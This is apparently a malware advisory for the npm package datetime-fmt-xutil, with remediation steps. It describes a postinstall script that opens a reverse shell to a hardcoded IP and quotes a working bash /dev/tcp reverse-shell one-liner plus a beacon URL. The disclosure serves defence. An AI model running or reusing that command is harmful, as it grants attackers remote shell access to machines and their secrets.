MAL-2026-13935 Malicious code in datetime-fmt-xutil (npm)
Malicious package
Published
MAL-2026-13935 is a malicious package: datetime-fmt-xutil (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-13935/ (Markdown: https://insights.sbomify.com/MAL-2026-13935/index.md)
- Package
- datetime-fmt-xutil
- Registry
- npm
What is MAL-2026-13935?
MAL-2026-13935 is a malicious package in datetime-fmt-xutil, published on 13 Aug 2026.
Official description
The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (
bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=…. The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.What should I do about MAL-2026-13935?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.